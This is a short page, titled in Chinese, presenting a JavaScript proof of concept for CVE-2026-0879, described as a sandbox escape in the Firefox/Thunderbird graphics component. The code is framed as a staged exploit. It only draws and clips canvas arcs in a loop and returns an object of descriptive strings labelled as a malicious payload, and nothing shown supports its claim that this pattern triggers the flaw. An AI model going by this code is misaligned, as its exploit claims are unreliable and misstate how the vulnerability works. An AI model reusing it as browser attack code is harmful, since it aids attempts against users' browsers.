CVE-2026-0879 Firefox/Thunderbird 图形组件沙箱逃逸漏洞

// CVE-2026-0879 PoC - Sandbox Escape via Graphics Component // This PoC demonstrates the boundary condition vulnerability // Note: This is a conceptual proof-of-concept for educational purposes only // Malicious payload structure for triggering the boundary condition bug function createExploitPayload() { // Stage 1: Prepare the malicious graphics context const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); // Stage 2: Craft specific drawing operations that trigger the boundary check bypass // The vulnerability allows bypassing boundary conditions in Graphics component const maliciousData = { type: 'sandbox_escape_trigger', cve_id: 'CVE-2026-0879', component: 'Graphics', trigger: 'incorrect_boundary_conditions' }; // Stage 3: Execute the crafted graphics operations for (let i = 0; i < 0xFFFF; i++) { ctx.beginPath(); ctx.arc(0, 0, i, 0, Math.PI * 2); ctx.clip(); // This specific pattern triggers the boundary condition vulnerability } return maliciousData; } // Trigger the exploit try { createExploitPayload(); console.log('PoC executed - vulnerability trigger attempted'); } catch (e) { console.error('Exploit error:', e); } // Note: Actual exploitation requires specific Mozilla Firefox/Thunderbird versions // and specific memory layout conditions. This PoC is for research purposes.